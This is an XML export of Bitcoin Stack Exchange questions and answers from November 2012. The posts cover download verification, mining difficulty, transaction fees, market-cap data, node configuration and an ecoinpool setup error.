  <row Id="5393" PostTypeId="2" ParentId="565" CreationDate="2012-11-19T03:24:27.903" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Visit &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Pick the latest version folder.&lt;/li&gt;&#xA;&lt;li&gt;Download one of the SHA...SUMS files and examine it in your favorite text editor. &lt;/li&gt;&#xA;&lt;li&gt;Download the installation file you want to use.&lt;/li&gt;&#xA;&lt;li&gt;If you don't know how to get your computer to tell you the checksum of a file, you'll have to go figure that out.  Compare the checksum with the one in the file.  If they match, then you've determined one thing that is important: The file you downloaded is the same as the file used by whoever created that checksum.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you want to know if you can trust that person.  He has an account at Sourceforge and he has made a file available to you and you now have that file, and what you proved in step 5 is that you got the same file he made available, as opposed to a fake from someone on the Internet between you and Sourceforge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just did this with version 0.7.1, and that person is Gavin Andresen.  I have Kleopatra for Windows, so I looked up &quot;Gavin Andresen&quot; on the pgp.mit.edu certificate server, and found a certificate for him with &quot;(CODE SIGNING KEY)&quot; in the name.  I imported it to Kleopatra and then verified that the checksum file I downloaded in step 3 was signed by the person who made that key (Anybody can make a key and pretend to be Gavin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But let's be paranoid...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could still have bad code because I might have downloaded an imposter's certificate, and had my connection hijacked for the download.  So I Googled &quot;Gavin Andresen certificate fingerprint&quot; (without quotes) and found a page at &lt;a href=&quot;https://bitcointalk.org/index.php?action=printpage;topic=69355.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?action=printpage;topic=69355.0&lt;/a&gt; that displays the fingerprint of &quot;Gavin&quot;'s certificate, and it matches.  With all this information, I assume I'm ok.  If I didn't, I'd have to get the source and examine it, as Evil Spork explained.&lt;/p&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2012-11-19T03:24:27.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5394" PostTypeId="1" CreationDate="2012-11-19T06:38:02.553" Score="3" ViewCount="475" Body="&lt;p&gt;What is the chance of another Bitcoin-like currency system to replace Bitcoin? Will Bitcoin still coexist with such systems? Will it affect then-current Bitcoin exchange rate? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By Bitcoin-like, I mean, government and banks approved, more privacy, some other means of mining, special purpose (only to buy cars), with different benefits, etc.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2012-11-20T13:11:09.123" LastActivityDate="2012-11-20T13:11:09.123" Title="Will an approved Bitcoin-like system replace Bitcoin?" Tags="|alternatives|government|privacy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5395" PostTypeId="2" ParentId="5394" CreationDate="2012-11-19T07:39:20.720" Score="2" Body="&lt;p&gt;A currency controlled by a single individual, company or government would not need to work like Bitcoin. It would be centralised - there would be no need for mining, running special clients and so forth. Those are only a key feature of some decentralised internet currencies similar to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that such a currency would replace Bitcoin, but it would be done most likely by law and force, rather than because of its benefits. A currency like that might exist alongside Bitcoin, but how much it is used would depend on the appeal and use of it. Should it for example be the only currency you could pay taxes in, it might as well exist for a long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also an idea of &lt;a href=&quot;http://www.digitalcoin.info/&quot; rel=&quot;nofollow&quot;&gt;Digital Coin&lt;/a&gt;, where many such currencies might exist at the same time because they would be beneficial for the companies and their customers. It has space for Bitcoin-like currency - as a measurement of standard of value, as well as last resort for trading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, Bitcoin won't probably be replaced, it might be outlawed, and other currencies might exist alongside it.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-19T07:39:20.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5396" PostTypeId="1" AcceptedAnswerId="5398" CreationDate="2012-11-19T09:44:17.007" Score="6" ViewCount="554" Body="&lt;p&gt;For a study on Bitcoin, I would like to find (or construct) a timeseries of the total value of all Bitcoins in circulation (market capitalization). At least for the last two or so years. This could be quoted in e.g. US Dollar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such a time series? If not, is there a timeseries with the total amount of unlocked bitcoins, which could then be multiplied with an exchange rate?&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="2306" LastEditDate="2015-01-24T17:08:39.893" LastActivityDate="2015-01-24T17:08:39.893" Title="Are there time-series of Bitcoins in circulation?" Tags="|value|historical-trade-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5397" PostTypeId="2" ParentId="5394" CreationDate="2012-11-19T10:42:36.667" Score="5" Body="&lt;p&gt;It's near certain that other Bitcoin-like currencies will continue to be introduced from time to time. Some of them will likely gain some traction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over time, more and more deficiencies of Bitcoin will become apparent and newly-designed competitors will be able to fix them. While Bitcoin can certainly make some changes, it will always have a trade-off because significant changes risk shaking to confidence of current users. At some point, Bitcoin's accumulated deficiencies will be too much and it will lose significant share to some competitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course whether that will be next year or next century, I don't think anybody knows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some such systems will likely coexist with Bitcoin without much interaction. Others may design in interaction with Bitcoins directly into their fundamental design. Nobody has a crystal ball though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some have imagined high-speed, high-volume systems that would move Bitcoins outside the regular blockchain with the existing Bitcoin system used only to &quot;settle up&quot; large transfers between smaller, faster systems. Will that be what happens? Who knows?&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-11-19T10:42:36.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5398" PostTypeId="2" ParentId="5396" CreationDate="2012-11-19T11:34:03.813" Score="2" Body="&lt;p&gt;Historical time-series of exchange rate:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHJuUE1mUkFxa3A0eHBDQkxZLVVFZmc&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHJuUE1mUkFxa3A0eHBDQkxZLVVFZmc&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Source of the data is the &quot;Raw Data&quot; from BitcoinCharts.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The raw data of daily &quot;market cap&quot; is available in json&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/charts/market-cap?timespan=all&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/market-cap?timespan=all&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/charts/market-cap?timespan=all&amp;amp;format=json&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/market-cap?timespan=all&amp;amp;format=json&lt;/a&gt; &amp;lt;-- Thanks to Ben's comment below.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-11-20T22:03:27.253" LastActivityDate="2012-11-20T22:03:27.253" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5399" PostTypeId="1" AcceptedAnswerId="5402" CreationDate="2012-11-19T17:54:32.673" Score="4" ViewCount="554" Body="&lt;p&gt;I'm looking at the &lt;a href=&quot;http://blockchain.info/charts/total-bitcoins&quot; rel=&quot;nofollow noreferrer&quot;&gt;Total Bitcoins in Circulation&lt;/a&gt; graph and don't understand why there is a spike of coins being generated in Sept '12.  What caused this to happen?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Re9Jb.png&quot; alt=&quot;red line indicates trend&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, since there is a fixed number of Bitcoins that will be created, then I would expect this deviation would be corrected and fall in-line with the previous rate of growth.  It doesn't appear that a correction has occurred.  Which of the following will happen:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The final end date of new bitcoin mining will be earlier than planned&lt;/li&gt;&#xA;&lt;li&gt;At some arbitrary date in the future there will be fewer Bitcoin being mined&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sure, the longer we wait the impact of that occurrence of inflation on 9/12 will decrease over time, but what happens the next time a Bitcoin mining spike occurs?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T08:46:53.067" LastActivityDate="2016-03-16T08:46:53.067" Title="Bitcoin inflation in 9/12 doesn't seem to have been corrected. Why not and will it be fixed?" Tags="|difficulty|hashpower|money-supply|deflation|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5400" PostTypeId="2" ParentId="5399" CreationDate="2012-11-19T18:16:19.613" Score="1" Body="&lt;p&gt;In cases like these, I wouldn't expect the line of 'total bitcoins in circulation' to return to the drawn red line. The rate has returned to normal (as evidenced by the fact that the two lines are now parallel), but has been shifted up a little (probably due to a quick increase in the mining hashrate).&lt;/p&gt;&#xA;" OwnerUserId="615" LastActivityDate="2012-11-19T18:16:19.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5401" PostTypeId="1" AcceptedAnswerId="5407" CreationDate="2012-11-19T18:22:34.000" Score="7" ViewCount="1469" Body="&lt;p&gt;Usually, when a full Bitcoin client such as bitcoind, Bitcoin-QT, or Multibit start on a fresh installation, they connect &quot;to the network&quot; to download the blockchain. If someone has multiple computers or devices, they could end up downloading the whole blockchain several times. This puts a lot of stress on their connection and extra clients on the network that could get their data locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Have any clients implemented a standardized way to exchange blockchain data locally, without going over the Internet?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine this would work something like how BitTorrent local peer discovery works, where two clients on the same subnet discover each other through multicast groups and then negotiate transfer of data.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="2306" LastEditDate="2015-03-20T04:20:30.157" LastActivityDate="2015-03-20T04:20:30.157" Title="Can any Bitcoin client do local peer discovery and blockchain synchronization?" Tags="|blockchain|peer-discovery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5402" PostTypeId="2" ParentId="5399" CreationDate="2012-11-19T18:29:42.653" Score="7" Body="&lt;p&gt;A short term increase in the gradient on the graph can be caused by a large and fast relative increase in hashing speed of the total network. Within a short time, the difficulty adjusts and prevents it having a substantial long term impact. The steep gradient on &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;noreferrer&quot;&gt;this difficulty graph&lt;/a&gt; between 13GH/s and around 20GH/s is an increase of around 50% in hashpower in a very short time.&lt;/p&gt;&#xA;&lt;p&gt;It won't be fixed, because it's not broken; it's working as originally intended. It does mean that the date the reward adjustment is halved comes slightly earlier than if the network hash rate remained constant. It also means that as the value of bitcoins grows higher, more hardware will be purchased and added to the network, and blocks will be produced slightly faster than the 10 minute average.&lt;/p&gt;&#xA;&lt;p&gt;The final date of &amp;quot;new bitcoin mining&amp;quot; is of little consequence. Well before that date, miners will be earning more from transaction fees than from the block reward.&lt;/p&gt;&#xA;&lt;p&gt;We can expect more of this when ASIC mining hardware comes online.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-11-22T00:13:13.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5403" PostTypeId="1" AcceptedAnswerId="5426" CreationDate="2012-11-19T18:37:23.927" Score="6" ViewCount="641" Body="&lt;p&gt;At some point in the future miners will depend more on the Tx fee than per-block payout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now people turn on and off their equipment based on local trends such as price of electricity, etc.  On the whole I don't think these local decisions affect mining as a whole.   However, if a Global trend is identified and people turn off and turn off the rigs accordingly then that will weaken the network at certain times.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose the most profitable Tx fees occur in a certain time of day, and people will turn on their mining rigs, and they shut it down for less efficient hours.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I think that if done to a significant scale, &quot;peak Tx mining&quot; can cause issues in security and network security.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the purpose of difficulty is to make mining new blocks more consistent over time, is it equally effective in making Tx-based payouts fair with short intervals?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More detail&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose significant portion of the mining ecosystem determines that the most valuable transactions are mined between 4pm and 5pm EST where the most profit can be made.  Conversely it's not profitable at all to mine at 2am-5am EST, so shut the machine down and save on electricity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may result in several things&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Difficulty for peak hashrate differs greatly from difficulty for non-peak hashrate (within a 24 hour period)&lt;/li&gt;&#xA;&lt;li&gt;Certain times of day where the network is more likely to be overtaken by hostile compute power&lt;/li&gt;&#xA;&lt;li&gt;Unfair /disproportionate distribution of fees among miners&lt;/li&gt;&#xA;&lt;li&gt;Many more blocks are created at peak times due to the increased available hashpower&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What safety nets are there to protect against this?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what it's worth, the BitMinter client already has the ability to schedule the usage of mining resources.  The intention is for minimizing local electricity cost, I don't think that would have a negative impact since this is a global mining network and electricity price changes occur every hour and should even itself out.  Conversely if it is used to mine according to trends in the whole Bitcoin network... I think that could lead to negative consequences.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-01-20T20:52:06.423" LastActivityDate="2016-01-20T20:52:06.423" Title="Is the current network difficulty algorithm appropriate for &quot;Peak transaction-only mining&quot;?" Tags="|mining-reward|mining-profitability|energy-consumption|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5405" PostTypeId="2" ParentId="5403" CreationDate="2012-11-19T20:38:48.753" Score="1" Body="&lt;p&gt;With FPGAs and even more so with ASICs, the cost of electricity is just a fraction of the costs of mining.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while GPU miners had an incentive to operate during times of the day when it was the most profitable, and power down during other times of the day, the only approach with FPGAs and ASICs is to run them 24x7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may change in a year or three where the cost of electricity becomes a major factor in mining once again but hopefully by then the transaction fees are a larger part of mining revenues.  Those act as a self-correcting mechanism.  If capacity drops to so that only three blocks are mined per hour, the block reward subsidy (25 BTC per blocks, starting at block 210,000) is the same, but the fee revenues will be higher on a per-block basis, thus giving incentive to keep mining.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-19T20:38:48.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5406" PostTypeId="1" CreationDate="2012-11-19T20:52:02.123" Score="3" ViewCount="462" Body="&lt;p&gt;When mining becomes less profitable* what options are there for miners and mining pools to persuade or insist that end users pay more in transaction fees?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Specific code changes that need to be done in miners (to exclude low fee Tx)&lt;/li&gt;&#xA;&lt;li&gt;Business plans (or description thereof)&lt;/li&gt;&#xA;&lt;li&gt;Incentives of various types (..free Namecoins if pool X processes your Tx)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sure there will probably always be miners who accept zero fee Tx but I am thinking that this might become the minority over time.  As a result these zero fee miners will finish fewer blocks and will cause zero fee Tx to be delayed before being added to a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Mining can become less profitable for a number of reasons: &lt;a href=&quot;http://www.bitcoindifficulty.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;increased difficulty&lt;/a&gt;, poor &lt;a href=&quot;https://mtgox.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;conversion rates&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3111/1878&quot;&gt;decreased reward&lt;/a&gt;, higher &lt;a href=&quot;https://bitcoin.stackexchange.com/q/485/1878&quot;&gt;costs&lt;/a&gt; (hardware, electricity), or &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4389/1878&quot;&gt;government regulation&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2783/1878&quot;&gt;taxation&lt;/a&gt; on mining income.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2016-01-20T20:44:23.327" Title="How to get the general population to pay more in transaction fees?" Tags="|mining-pools|transaction-fees|mining-profitability|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5407" PostTypeId="2" ParentId="5401" CreationDate="2012-11-19T21:03:28.177" Score="6" Body="&lt;p&gt;The Bitcoin.org client can be launched with the -connect= parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply have it connect to another local node and no outside connectivity occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But once it is caught up to the latest block, the amount of bandwidth is relatively trivial.  There's no reason to do this to save bandwidth once a node has been brought current.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-19T21:03:28.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5409" PostTypeId="1" CreationDate="2012-11-19T22:24:47.037" Score="1" ViewCount="224" Body="&lt;p&gt;I have successfully installed ecoinpool and couchdb on my server and both are working great just the problem is that when i try to create a worker i get the following error &quot;Database information could not be retrieved: no_db_file&quot; then i get a list of errors like this &quot;An error occurred accessing the view: no_db_file&quot; can anyone please tell me what's wrong its like out of the world to me, my config file is like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;% This is an example configuration file. Lists are denoted with [...] and tuples&#xA;% are denoted with {...}. Together they form a nested structure of names and&#xA;% parameters. If you make changes and add or remove options, make sure not to&#xA;% have a comma before a closing bracket or curly brace.&#xA;&#xA;[&#xA;% SASL is Erlang's internal error and crash logger; it also logs starting&#xA;% and stopping of certain processes. I set it to &quot;error&quot; here so it won't&#xA;% pollute stdout/stderr.&#xA;{sasl, [&#xA;    {errlog_type, error}&#xA;]},&#xA;&#xA;% This is ecoinpool's main configuration. The CouchDB connection is&#xA;% configured here.&#xA;{ecoinpool, [&#xA;    % The following commented lines are default settings.&#xA;    {db_host, &quot;127.0.0.1&quot;},&#xA;    %{db_port, 5984},&#xA;    %{db_prefix, &quot;&quot;},&#xA;&#xA;    % The next line should be changed, depending on your CouchDB&#xA;    % authentication settings: username password&#xA;    {db_options, [{basic_auth, {&quot;admin&quot;, &quot;password&quot;}}]},&#xA;&#xA;    % Here you can change ecoinpool's HTTP service port, currently used to&#xA;    % serve global RPC functions used by the frontend.&#xA;    %{service_port, 8080},&#xA;&#xA;    % The last line in this section contains your blowfish secret key, share&#xA;    % this among your servers and don't tell it to anyone else. Minimum key&#xA;    % length is 4 bytes, maximum is 56 bytes.&#xA;    % If you have pwgen (a password generator), try &quot;pwgen -s 56 1&quot; to get&#xA;    % 56 random characters.&#xA;    {blowfish_secret, &quot;a1a2a3a4a5&quot;}&#xA;]},&#xA;&#xA;% This is the ebitcoin configuration. ebitcoin forms a separate application,&#xA;% thus it doesn't share ecoinpool's database settings. If you use the same&#xA;% CouchDB server and authentication, copy it from above.&#xA;{ebitcoin, [&#xA;    % You can also disable ebitcoin altogether by uncommenting the following&#xA;    % line. Note that you will fall back to the polling system then.&#xA;    %{enabled, false},&#xA;&#xA;    {db_host, &quot;127.0.0.1&quot;},&#xA;    %{db_port, 5984},&#xA;    %{db_prefix, &quot;&quot;},&#xA;    {db_options, [{basic_auth, {&quot;admin&quot;, &quot;password&quot;}}]}&#xA;]},&#xA;&#xA;% The third separate application (it also has to be started separately) is&#xA;% the MySQL Replicator. It is used to bridge legacy MySQL worker tables to&#xA;% CouchDB and also stores copies of the shares into a MySQL table.&#xA;{ecoinpool_mysql_replicator, [&#xA;    % Again, commented lines are default settings.&#xA;    {couchdb_host, &quot;127.0.0.1&quot;},&#xA;    %{couchdb_port, 5984},&#xA;    %{couchdb_prefix, &quot;&quot;},&#xA;    {couchdb_options, [{basic_auth, {&quot;admin&quot;, &quot;password&quot;}}]},&#xA;    {couchdb_database, &quot;ecoinpool&quot;},&#xA;&#xA;    {mysql_host, &quot;127.0.0.1&quot;},&#xA;    %{mysql_port, 3306},&#xA;    %{mysql_prefix, &quot;&quot;},&#xA;    {mysql_options, [{auth, {&quot;mysqladmin&quot;, &quot;mysqlpass&quot;}}]},&#xA;    %{mysql_database, &quot;ecoinpool&quot;},&#xA;&#xA;    % This is a setting that certainly has to be changed. Configure one or&#xA;    % more worker table replicators here (if you have multiple sub-pools).&#xA;    % Please only connect one sub-pool to one table or things get jammed up.&#xA;    {replicator_configs, [&#xA;        % Format: {&amp;lt;ecoinpool sub-pool ID&amp;gt;, &amp;lt;MySQL worker table&amp;gt;, &amp;lt;MySQL sync interval in seconds, 1 or more&amp;gt;}&#xA;        {&quot;e66e45a18eff533e9e690c7f1d005279&quot;, &quot;pool_worker&quot;, 15}&#xA;    ]},&#xA;&#xA;    % Next is your blowfish secret key. Copy it from above.&#xA;    {blowfish_secret, &quot;Replace me!&quot;},&#xA;&#xA;    % And the last one, also to be likely changed, is the shares deployer&#xA;    % configuration. There are two possible formats here, one with and one&#xA;    % without using merged mining. The config ID is used as basename for&#xA;    % saving the deployment state file and for the &quot;source&quot; column.&#xA;    {share_deployer_configs, [&#xA;        % Non-MM Format: {&amp;lt;config ID string&amp;gt;, &amp;lt;pool name&amp;gt;, &amp;lt;MySQL shares table&amp;gt;, &amp;lt;MySQL write interval in seconds, 0 allowed&amp;gt;}&#xA;        {&quot;ltc_test_shares&quot;, &quot;ltc-test&quot;, &quot;shares&quot;, 60},&#xA;        % MM Format: {&amp;lt;config ID string&amp;gt;, &amp;lt;main pool name&amp;gt;, &amp;lt;aux pool name&amp;gt;, &amp;lt;MySQL shares table&amp;gt;, &amp;lt;MySQL write interval in seconds, 0 allowed&amp;gt;}&#xA;        {&quot;btc_nmc_test_shares&quot;, &quot;btc-test&quot;, &quot;nmc-test&quot;, &quot;shares&quot;, 60}&#xA;    ]}&#xA;]}&#xA;].&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2159" LastEditorUserId="5406" LastEditDate="2016-04-28T14:19:43.140" LastActivityDate="2016-04-28T14:19:43.140" Title="no_db_file error in ecoinpool" Tags="|mining-pools|development|miner-configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5411" PostTypeId="2" ParentId="4254" CreationDate="2012-11-19T22:38:32.353" Score="-1" Body="&lt;p&gt;It is unrealistic to assume that one entity such as the US Government would actually care enough about Bitcoin to drive it to the ground. Hypothetically, yes, one could destabilize it. But the developers would likely add preventative measures to stop this from happening.&lt;/p&gt;&#xA;" OwnerUserId="2257" LastEditorUserId="516" LastEditDate="2012-11-23T22:45:01.947" LastActivityDate="2012-11-23T22:45:01.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5416" PostTypeId="2" ParentId="5337" CreationDate="2012-11-20T04:32:37.193" Score="3" Body="&lt;p&gt;First, you will need to find out an IP adresses of pools e.g. from &lt;a href=&quot;http://pastehtml.com/view/c7rf4x1gc.rtxt&quot; rel=&quot;nofollow noreferrer&quot;&gt;this list&lt;/a&gt;, but most likely it has inaccuracies. Another option is to connect to &lt;a href=&quot;http://blockchain.info/hub-nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hub Nodes&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Hub Nodes&lt;/p&gt;&#xA;&lt;p&gt;Shows the nodes who have relayed the most transactions first to blockchain.info. The nodes on this page are well connected often hub nodes for merchants or miners.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bitcoind&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Create bitcoin.conf file in &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow noreferrer&quot;&gt;required&lt;/a&gt; directory with rpc connection commands&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=youruser&#xA;rpcpassword=yourpw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Command-line_arguments&quot; rel=&quot;nofollow noreferrer&quot;&gt;addnode commands&lt;/a&gt; e.g.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;addnode=69.164.218.197&#xA;addnode=10.0.0.2:8333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then run bitcoind. To verify that bitcoind is connected to specified nodes open command prompt or terminal, navigate to bicoind's folder and then run &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow noreferrer&quot;&gt;the command&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getpeerinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Sending bitcoin transaction by using bitcoind server will send transactions directly to the specified nodes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Bitcoin-qt&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;When opened will use the same bitcoin.conf file. To verify that it's connected to specified nodes click&lt;/p&gt;&#xA;&lt;p&gt;Help -&amp;gt; Debug Window -&amp;gt; Console and type getpeerinfo&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-11-21T21:45:38.807" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5417" PostTypeId="1" CreationDate="2012-11-20T07:26:32.700" Score="3" ViewCount="138" Body="&lt;p&gt;I figured this would be cleaned up pretty quickly, but it seems to have been that way for a month or more.  Was just curious - it is many people's first exposure to bitcoin and doesn't really install confidence.&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2012-11-20T11:45:36.360" Title="Why does the bitcoin wiki have an invalid ssl certificate and show PHP errors at the top of every page?" Tags="|bitcoin-wiki|" AnswerCount="0" CommentCount="5" ClosedDate="2013-01-28T16:29:25.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="5420" PostTypeId="1" CreationDate="2012-11-20T14:10:51.790" Score="11" ViewCount="2370" Body="&lt;p&gt;Trading on Mt. Gox, which is now the largest Bitcoin exchange, started in July 2010 at an exchange rate of $0.05 USD. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=137.msg1146#msg1146&quot;&gt;This comment&lt;/a&gt; suggests that on May 2010, bitcoins were traded at bitcoinmarket.com for roughly $0.004 USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other exchanges existed this early in Bitcoin's life? What is the earliest/lowest recorded exchange rate?&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="2306" LastEditDate="2015-01-24T17:03:21.223" LastActivityDate="2015-01-24T17:03:21.223" Title="What is the early history of the BTC exchange rate?" Tags="|exchanges|historical-trade-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
